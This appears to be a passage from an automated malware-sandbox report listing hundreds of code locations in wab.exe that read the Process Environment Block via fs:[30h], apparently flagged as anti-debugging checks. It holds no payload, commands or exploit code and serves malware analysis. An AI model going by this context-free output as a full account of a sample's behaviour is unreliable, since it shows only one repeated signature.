Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072F172 mov eax, dword ptr fs:[00000030h] 9_2_2072F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072F172 mov eax, dword ptr fs:[00000030h] 9_2_2072F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072F172 mov eax, dword ptr fs:[00000030h] 9_2_2072F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072F172 mov eax, dword ptr fs:[00000030h] 9_2_2072F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072F172 mov eax, dword ptr fs:[00000030h] 9_2_2072F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207C9179 mov eax, dword ptr fs:[00000030h] 9_2_207C9179
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20737152 mov eax, dword ptr fs:[00000030h] 9_2_20737152
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072C156 mov eax, dword ptr fs:[00000030h] 9_2_2072C156
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207C8158 mov eax, dword ptr fs:[00000030h] 9_2_207C8158
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20736154 mov eax, dword ptr fs:[00000030h] 9_2_20736154
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20736154 mov eax, dword ptr fs:[00000030h] 9_2_20736154
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207C4144 mov eax, dword ptr fs:[00000030h] 9_2_207C4144
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207C4144 mov eax, dword ptr fs:[00000030h] 9_2_207C4144
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207C4144 mov ecx, dword ptr fs:[00000030h] 9_2_207C4144
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207C4144 mov eax, dword ptr fs:[00000030h] 9_2_207C4144
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207C4144 mov eax, dword ptr fs:[00000030h] 9_2_207C4144
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20729148 mov eax, dword ptr fs:[00000030h] 9_2_20729148
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20729148 mov eax, dword ptr fs:[00000030h] 9_2_20729148
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20729148 mov eax, dword ptr fs:[00000030h] 9_2_20729148
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20729148 mov eax, dword ptr fs:[00000030h] 9_2_20729148
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20731131 mov eax, dword ptr fs:[00000030h] 9_2_20731131
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20731131 mov eax, dword ptr fs:[00000030h] 9_2_20731131
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072B136 mov eax, dword ptr fs:[00000030h] 9_2_2072B136
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072B136 mov eax, dword ptr fs:[00000030h] 9_2_2072B136
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072B136 mov eax, dword ptr fs:[00000030h] 9_2_2072B136
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072B136 mov eax, dword ptr fs:[00000030h] 9_2_2072B136
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_208051CB mov eax, dword ptr fs:[00000030h] 9_2_208051CB
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20760124 mov eax, dword ptr fs:[00000030h] 9_2_20760124
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207DA118 mov ecx, dword ptr fs:[00000030h] 9_2_207DA118
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207DA118 mov eax, dword ptr fs:[00000030h] 9_2_207DA118
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207DA118 mov eax, dword ptr fs:[00000030h] 9_2_207DA118
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207DA118 mov eax, dword ptr fs:[00000030h] 9_2_207DA118
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_208061E5 mov eax, dword ptr fs:[00000030h] 9_2_208061E5
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207F0115 mov eax, dword ptr fs:[00000030h] 9_2_207F0115
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207D71F9 mov esi, dword ptr fs:[00000030h] 9_2_207D71F9
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207601F8 mov eax, dword ptr fs:[00000030h] 9_2_207601F8
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207551EF mov eax, dword ptr fs:[00000030h] 9_2_207551EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207551EF mov eax, dword ptr fs:[00000030h] 9_2_207551EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207551EF mov eax, dword ptr fs:[00000030h] 9_2_207551EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207551EF mov eax, dword ptr fs:[00000030h] 9_2_207551EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207551EF mov eax, dword ptr fs:[00000030h] 9_2_207551EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207551EF mov eax, dword ptr fs:[00000030h] 9_2_207551EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207551EF mov eax, dword ptr fs:[00000030h] 9_2_207551EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207551EF mov eax, dword ptr fs:[00000030h] 9_2_207551EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207551EF mov eax, dword ptr fs:[00000030h] 9_2_207551EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207551EF mov eax, dword ptr fs:[00000030h] 9_2_207551EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207551EF mov eax, dword ptr fs:[00000030h] 9_2_207551EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207551EF mov eax, dword ptr fs:[00000030h] 9_2_207551EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207551EF mov eax, dword ptr fs:[00000030h] 9_2_207551EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207351ED mov eax, dword ptr fs:[00000030h] 9_2_207351ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2076D1D0 mov eax, dword ptr fs:[00000030h] 9_2_2076D1D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2076D1D0 mov ecx, dword ptr fs:[00000030h] 9_2_2076D1D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207AE1D0 mov eax, dword ptr fs:[00000030h] 9_2_207AE1D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207AE1D0 mov eax, dword ptr fs:[00000030h] 9_2_207AE1D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207AE1D0 mov ecx, dword ptr fs:[00000030h] 9_2_207AE1D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207AE1D0 mov eax, dword ptr fs:[00000030h] 9_2_207AE1D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207AE1D0 mov eax, dword ptr fs:[00000030h] 9_2_207AE1D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207F61C3 mov eax, dword ptr fs:[00000030h] 9_2_207F61C3
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207F61C3 mov eax, dword ptr fs:[00000030h] 9_2_207F61C3
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2074B1B0 mov eax, dword ptr fs:[00000030h] 9_2_2074B1B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20805152 mov eax, dword ptr fs:[00000030h] 9_2_20805152
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207E11A4 mov eax, dword ptr fs:[00000030h] 9_2_207E11A4
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207E11A4 mov eax, dword ptr fs:[00000030h] 9_2_207E11A4
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207E11A4 mov eax, dword ptr fs:[00000030h] 9_2_207E11A4
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207E11A4 mov eax, dword ptr fs:[00000030h] 9_2_207E11A4
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B019F mov eax, dword ptr fs:[00000030h] 9_2_207B019F
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B019F mov eax, dword ptr fs:[00000030h] 9_2_207B019F
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B019F mov eax, dword ptr fs:[00000030h] 9_2_207B019F
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B019F mov eax, dword ptr fs:[00000030h] 9_2_207B019F
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072A197 mov eax, dword ptr fs:[00000030h] 9_2_2072A197
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072A197 mov eax, dword ptr fs:[00000030h] 9_2_2072A197
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072A197 mov eax, dword ptr fs:[00000030h] 9_2_2072A197
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20787190 mov eax, dword ptr fs:[00000030h] 9_2_20787190
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20770185 mov eax, dword ptr fs:[00000030h] 9_2_20770185
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207EC188 mov eax, dword ptr fs:[00000030h] 9_2_207EC188
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207EC188 mov eax, dword ptr fs:[00000030h] 9_2_207EC188
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20759274 mov eax, dword ptr fs:[00000030h] 9_2_20759274
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20805283 mov eax, dword ptr fs:[00000030h] 9_2_20805283
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20771270 mov eax, dword ptr fs:[00000030h] 9_2_20771270
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20771270 mov eax, dword ptr fs:[00000030h] 9_2_20771270
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207E0274 mov eax, dword ptr fs:[00000030h] 9_2_207E0274
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207E0274 mov eax, dword ptr fs:[00000030h] 9_2_207E0274
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207E0274 mov eax, dword ptr fs:[00000030h] 9_2_207E0274
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207E0274 mov eax, dword ptr fs:[00000030h] 9_2_207E0274
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207E0274 mov eax, dword ptr fs:[00000030h] 9_2_207E0274
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207E0274 mov eax, dword ptr fs:[00000030h] 9_2_207E0274
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207E0274 mov eax, dword ptr fs:[00000030h] 9_2_207E0274
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207E0274 mov eax, dword ptr fs:[00000030h] 9_2_207E0274
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207E0274 mov eax, dword ptr fs:[00000030h] 9_2_207E0274
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207E0274 mov eax, dword ptr fs:[00000030h] 9_2_207E0274
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207E0274 mov eax, dword ptr fs:[00000030h] 9_2_207E0274
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207E0274 mov eax, dword ptr fs:[00000030h] 9_2_207E0274
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20734260 mov eax, dword ptr fs:[00000030h] 9_2_20734260
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20734260 mov eax, dword ptr fs:[00000030h] 9_2_20734260
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20734260 mov eax, dword ptr fs:[00000030h] 9_2_20734260
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207FD26B mov eax, dword ptr fs:[00000030h] 9_2_207FD26B
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207FD26B mov eax, dword ptr fs:[00000030h] 9_2_207FD26B
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072826B mov eax, dword ptr fs:[00000030h] 9_2_2072826B
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072A250 mov eax, dword ptr fs:[00000030h] 9_2_2072A250
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207EB256 mov eax, dword ptr fs:[00000030h] 9_2_207EB256
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207EB256 mov eax, dword ptr fs:[00000030h] 9_2_207EB256
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20736259 mov eax, dword ptr fs:[00000030h] 9_2_20736259
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20729240 mov eax, dword ptr fs:[00000030h] 9_2_20729240
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20729240 mov eax, dword ptr fs:[00000030h] 9_2_20729240
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B8243 mov eax, dword ptr fs:[00000030h] 9_2_207B8243
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B8243 mov ecx, dword ptr fs:[00000030h] 9_2_207B8243
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2076724D mov eax, dword ptr fs:[00000030h] 9_2_2076724D
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072823B mov eax, dword ptr fs:[00000030h] 9_2_2072823B
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_208052E2 mov eax, dword ptr fs:[00000030h] 9_2_208052E2
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20767208 mov eax, dword ptr fs:[00000030h] 9_2_20767208
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20767208 mov eax, dword ptr fs:[00000030h] 9_2_20767208
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207EF2F8 mov eax, dword ptr fs:[00000030h] 9_2_207EF2F8
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207292FF mov eax, dword ptr fs:[00000030h] 9_2_207292FF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207E12ED mov eax, dword ptr fs:[00000030h] 9_2_207E12ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207E12ED mov eax, dword ptr fs:[00000030h] 9_2_207E12ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207E12ED mov eax, dword ptr fs:[00000030h] 9_2_207E12ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207E12ED mov eax, dword ptr fs:[00000030h] 9_2_207E12ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207E12ED mov eax, dword ptr fs:[00000030h] 9_2_207E12ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207E12ED mov eax, dword ptr fs:[00000030h] 9_2_207E12ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207E12ED mov eax, dword ptr fs:[00000030h] 9_2_207E12ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207E12ED mov eax, dword ptr fs:[00000030h] 9_2_207E12ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207E12ED mov eax, dword ptr fs:[00000030h] 9_2_207E12ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207E12ED mov eax, dword ptr fs:[00000030h] 9_2_207E12ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207E12ED mov eax, dword ptr fs:[00000030h] 9_2_207E12ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207E12ED mov eax, dword ptr fs:[00000030h] 9_2_207E12ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207E12ED mov eax, dword ptr fs:[00000030h] 9_2_207E12ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207E12ED mov eax, dword ptr fs:[00000030h] 9_2_207E12ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207402E1 mov eax, dword ptr fs:[00000030h] 9_2_207402E1
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207402E1 mov eax, dword ptr fs:[00000030h] 9_2_207402E1
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207402E1 mov eax, dword ptr fs:[00000030h] 9_2_207402E1
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072B2D3 mov eax, dword ptr fs:[00000030h] 9_2_2072B2D3
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072B2D3 mov eax, dword ptr fs:[00000030h] 9_2_2072B2D3
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072B2D3 mov eax, dword ptr fs:[00000030h] 9_2_2072B2D3
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075F2D0 mov eax, dword ptr fs:[00000030h] 9_2_2075F2D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075F2D0 mov eax, dword ptr fs:[00000030h] 9_2_2075F2D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20805227 mov eax, dword ptr fs:[00000030h] 9_2_20805227
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2073A2C3 mov eax, dword ptr fs:[00000030h] 9_2_2073A2C3
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2073A2C3 mov eax, dword ptr fs:[00000030h] 9_2_2073A2C3
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2073A2C3 mov eax, dword ptr fs:[00000030h] 9_2_2073A2C3
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2073A2C3 mov eax, dword ptr fs:[00000030h] 9_2_2073A2C3
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2073A2C3 mov eax, dword ptr fs:[00000030h] 9_2_2073A2C3
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075B2C0 mov eax, dword ptr fs:[00000030h] 9_2_2075B2C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075B2C0 mov eax, dword ptr fs:[00000030h] 9_2_2075B2C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075B2C0 mov eax, dword ptr fs:[00000030h] 9_2_2075B2C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075B2C0 mov eax, dword ptr fs:[00000030h] 9_2_2075B2C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075B2C0 mov eax, dword ptr fs:[00000030h] 9_2_2075B2C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075B2C0 mov eax, dword ptr fs:[00000030h] 9_2_2075B2C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075B2C0 mov eax, dword ptr fs:[00000030h] 9_2_2075B2C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207392C5 mov eax, dword ptr fs:[00000030h] 9_2_207392C5
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207392C5 mov eax, dword ptr fs:[00000030h] 9_2_207392C5
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B92BC mov eax, dword ptr fs:[00000030h] 9_2_207B92BC
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B92BC mov eax, dword ptr fs:[00000030h] 9_2_207B92BC
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B92BC mov ecx, dword ptr fs:[00000030h] 9_2_207B92BC
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B92BC mov ecx, dword ptr fs:[00000030h] 9_2_207B92BC
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207402A0 mov eax, dword ptr fs:[00000030h] 9_2_207402A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207402A0 mov eax, dword ptr fs:[00000030h] 9_2_207402A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207452A0 mov eax, dword ptr fs:[00000030h] 9_2_207452A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207452A0 mov eax, dword ptr fs:[00000030h] 9_2_207452A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207452A0 mov eax, dword ptr fs:[00000030h] 9_2_207452A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207452A0 mov eax, dword ptr fs:[00000030h] 9_2_207452A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207F92A6 mov eax, dword ptr fs:[00000030h] 9_2_207F92A6
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207F92A6 mov eax, dword ptr fs:[00000030h] 9_2_207F92A6
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207F92A6 mov eax, dword ptr fs:[00000030h] 9_2_207F92A6
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207F92A6 mov eax, dword ptr fs:[00000030h] 9_2_207F92A6
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207C62A0 mov eax, dword ptr fs:[00000030h] 9_2_207C62A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207C62A0 mov ecx, dword ptr fs:[00000030h] 9_2_207C62A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207C62A0 mov eax, dword ptr fs:[00000030h] 9_2_207C62A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207C62A0 mov eax, dword ptr fs:[00000030h] 9_2_207C62A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207C62A0 mov eax, dword ptr fs:[00000030h] 9_2_207C62A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207C62A0 mov eax, dword ptr fs:[00000030h] 9_2_207C62A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207C72A0 mov eax, dword ptr fs:[00000030h] 9_2_207C72A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207C72A0 mov eax, dword ptr fs:[00000030h] 9_2_207C72A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2076329E mov eax, dword ptr fs:[00000030h] 9_2_2076329E
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2076329E mov eax, dword ptr fs:[00000030h] 9_2_2076329E
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2076E284 mov eax, dword ptr fs:[00000030h] 9_2_2076E284
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2076E284 mov eax, dword ptr fs:[00000030h] 9_2_2076E284
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B0283 mov eax, dword ptr fs:[00000030h] 9_2_207B0283
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B0283 mov eax, dword ptr fs:[00000030h] 9_2_207B0283
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B0283 mov eax, dword ptr fs:[00000030h] 9_2_207B0283
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207D437C mov eax, dword ptr fs:[00000030h] 9_2_207D437C
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20737370 mov eax, dword ptr fs:[00000030h] 9_2_20737370
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20737370 mov eax, dword ptr fs:[00000030h] 9_2_20737370
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20737370 mov eax, dword ptr fs:[00000030h] 9_2_20737370
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207EF367 mov eax, dword ptr fs:[00000030h] 9_2_207EF367
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2080539D mov eax, dword ptr fs:[00000030h] 9_2_2080539D
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20729353 mov eax, dword ptr fs:[00000030h] 9_2_20729353
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20729353 mov eax, dword ptr fs:[00000030h] 9_2_20729353
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B035C mov eax, dword ptr fs:[00000030h] 9_2_207B035C
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B035C mov eax, dword ptr fs:[00000030h] 9_2_207B035C
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B035C mov eax, dword ptr fs:[00000030h] 9_2_207B035C
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B035C mov ecx, dword ptr fs:[00000030h] 9_2_207B035C
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B035C mov eax, dword ptr fs:[00000030h] 9_2_207B035C
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B035C mov eax, dword ptr fs:[00000030h] 9_2_207B035C
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207FA352 mov eax, dword ptr fs:[00000030h] 9_2_207FA352
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B2349 mov eax, dword ptr fs:[00000030h] 9_2_207B2349
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B2349 mov eax, dword ptr fs:[00000030h] 9_2_207B2349
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B2349 mov eax, dword ptr fs:[00000030h] 9_2_207B2349
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B2349 mov eax, dword ptr fs:[00000030h] 9_2_207B2349
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B2349 mov eax, dword ptr fs:[00000030h] 9_2_207B2349
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B2349 mov eax, dword ptr fs:[00000030h] 9_2_207B2349
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B2349 mov eax, dword ptr fs:[00000030h] 9_2_207B2349
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B2349 mov eax, dword ptr fs:[00000030h] 9_2_207B2349
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B2349 mov eax, dword ptr fs:[00000030h] 9_2_207B2349
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B2349 mov eax, dword ptr fs:[00000030h] 9_2_207B2349
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B2349 mov eax, dword ptr fs:[00000030h] 9_2_207B2349
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B2349 mov eax, dword ptr fs:[00000030h] 9_2_207B2349
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B2349 mov eax, dword ptr fs:[00000030h] 9_2_207B2349
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B2349 mov eax, dword ptr fs:[00000030h] 9_2_207B2349
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B2349 mov eax, dword ptr fs:[00000030h] 9_2_207B2349
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072D34C mov eax, dword ptr fs:[00000030h] 9_2_2072D34C
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072D34C mov eax, dword ptr fs:[00000030h] 9_2_2072D34C
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20727330 mov eax, dword ptr fs:[00000030h] 9_2_20727330
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207F132D mov eax, dword ptr fs:[00000030h] 9_2_207F132D
